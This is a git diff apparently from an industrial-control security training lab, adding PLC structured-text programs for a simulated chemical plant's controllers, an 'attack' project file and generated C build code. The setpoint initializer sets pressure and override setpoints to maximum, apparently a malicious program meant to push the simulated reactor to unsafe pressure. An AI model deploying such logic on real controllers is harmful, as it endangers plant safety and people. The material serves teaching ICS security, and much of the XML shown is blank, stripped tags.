: UINT := 32000; + curr_pos : UINT := 16000; + END_VAR + VAR + valve_pos_real : REAL := 25.0; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 25.0; + END_VAR + VAR_OUTPUT + new_pos : UINT := 16000; + END_VAR + VAR + composition_k : REAL := 1.0; + composition_ti : REAL := 99.0; + cycle_time : TIME := T#50ms; + scale_to_real3 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + comp_max : REAL := 100.0; + comp_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB45_OUT : REAL; + MUL46_OUT : REAL; + ADD42_OUT : REAL; + LIMIT44_OUT : REAL; + END_VAR + + scale_to_real3(raw_input_value := a_in_purge, real_max := comp_max, real_min := comp_min); + a_in_purge_real := scale_to_real3.scaled_real; + scale_to_real2(raw_input_value := a_setpoint, real_max := comp_max, real_min := comp_min); + a_setpoint_real := scale_to_real2.scaled_real; + SUB45_OUT := SUB(a_setpoint_real, a_in_purge_real); + MUL46_OUT := MUL(SUB45_OUT, composition_k); + pos_update_real := MUL46_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + ADD42_OUT := ADD(valve_pos_real, pos_update_real); + LIMIT44_OUT := LIMIT(pos_min, ADD42_OUT, pos_max); + scale_to_uint0(real_in := LIMIT44_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK initialize_sp + VAR CONSTANT + flow_sp_c : UINT := 13107; + a_sp_c : UINT := 65535; + press_sp_c : UINT := 65535; + over_sp_c : UINT := 65535; + level_sp_c : UINT := 65535; + END_VAR + VAR_OUTPUT + flow_sp : UINT; + a_sp : UINT; + press_sp : UINT; + over_sp : UINT; + level_sp : UINT; + END_VAR + VAR + MOVE3_OUT : UINT; + MOVE7_OUT : UINT; + MOVE11_OUT : UINT; + MOVE15_OUT : UINT; + MOVE19_OUT : UINT; + END_VAR + + MOVE3_OUT := MOVE(a_sp_c); + a_sp := MOVE3_OUT; + MOVE7_OUT := MOVE(flow_sp_c); + flow_sp := MOVE7_OUT; + MOVE11_OUT := MOVE(over_sp_c); + over_sp := MOVE11_OUT; + MOVE15_OUT := MOVE(level_sp_c); + level_sp := MOVE15_OUT; + MOVE19_OUT := MOVE(press_sp_c); + press_sp := MOVE19_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_control + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + END_VAR + VAR + pressure_sp_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure_sp : UINT := 58981; + curr_pos : UINT := 30000; + END_VAR + VAR + valve_pos_real : REAL := 39.25; + pos_update_real : REAL := 0.0; + valve_pos_nominal : REAL := 39.25; + END_VAR + VAR_OUTPUT + valve_pos : UINT := 25886; + END_VAR + VAR + pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + 